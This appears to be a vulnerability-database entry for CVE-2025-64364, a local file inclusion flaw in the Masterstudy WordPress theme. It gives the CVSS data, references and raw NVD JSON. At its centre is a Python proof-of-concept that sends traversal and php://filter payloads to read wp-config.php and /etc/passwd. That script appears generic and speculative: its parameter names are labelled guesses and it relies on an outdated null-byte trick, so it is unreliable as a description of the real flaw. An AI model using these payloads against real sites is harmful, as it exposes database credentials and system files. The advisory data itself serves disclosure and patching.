CVE-2025-64364

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Masterstudy masterstudy allows PHP Local File Inclusion.This issue affects Masterstudy: from n/a through < 4.8.126.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Masterstudy主题 < 4.8.126

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64364 Local File Inclusion PoC
# Affected: Masterstudy Theme < 4.8.126
# Type: Local File Inclusion (LFI)

import requests
from urllib.parse import quote

target = "http://target-site.com/"

# Common vulnerable parameters in Masterstudy theme
vulnerable_params = [
    "stm_lms_template",
    "page_template",
    "view_type",
    "course_id"
]

# Files to read (sensitive)
files_to_read = [
    "../../../../wp-config.php",
    "../../../../../etc/passwd",
    "php://filter/convert.base64-encode/resource=wp-config.php"
]

def test_lfi(url, param, payload):
    """Test for LFI vulnerability"""
    try:
        params = {param: payload}
        response = requests.get(url, params=params, timeout=10)
        return response.text
    except Exception as e:
        return f"Error: {e}"

# Example exploitation
payload = "../../../../wp-config.php" + "\x00"
test_url = target + "wp-content/themes/masterstudy/"

print(f"[*] Testing LFI on {test_url}")
print(f"[*] Payload: {payload}")
result = test_lfi(test_url, vulnerable_params[0], payload)
print(f"[+] Response length: {len(result)}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64364
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64364
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64364/
[4] VulDB https://vuldb.com/cve/CVE-2025-64364
[5] https://patchstack.com/database/Wordpress/Theme/masterstudy/vulnerability/wordpress-masterstudy-theme-4-8-126-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64364", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.983", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in StylemixThemes Masterstudy masterstudy allows PHP Local File Inclusion.This issue affects Masterstudy: from n/a through < 4.8.126."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP, vulnerabilidad ('Inclusión Remota de Ficheros PHP') en StylemixThemes Masterstudy masterstudy permite inclusión local de ficheros PHP. Este problema afecta a Masterstudy: desde n/a hasta < 4.8.126."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/masterstudy/vulnerability/wordpress-masterstudy-theme-4-8-126-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}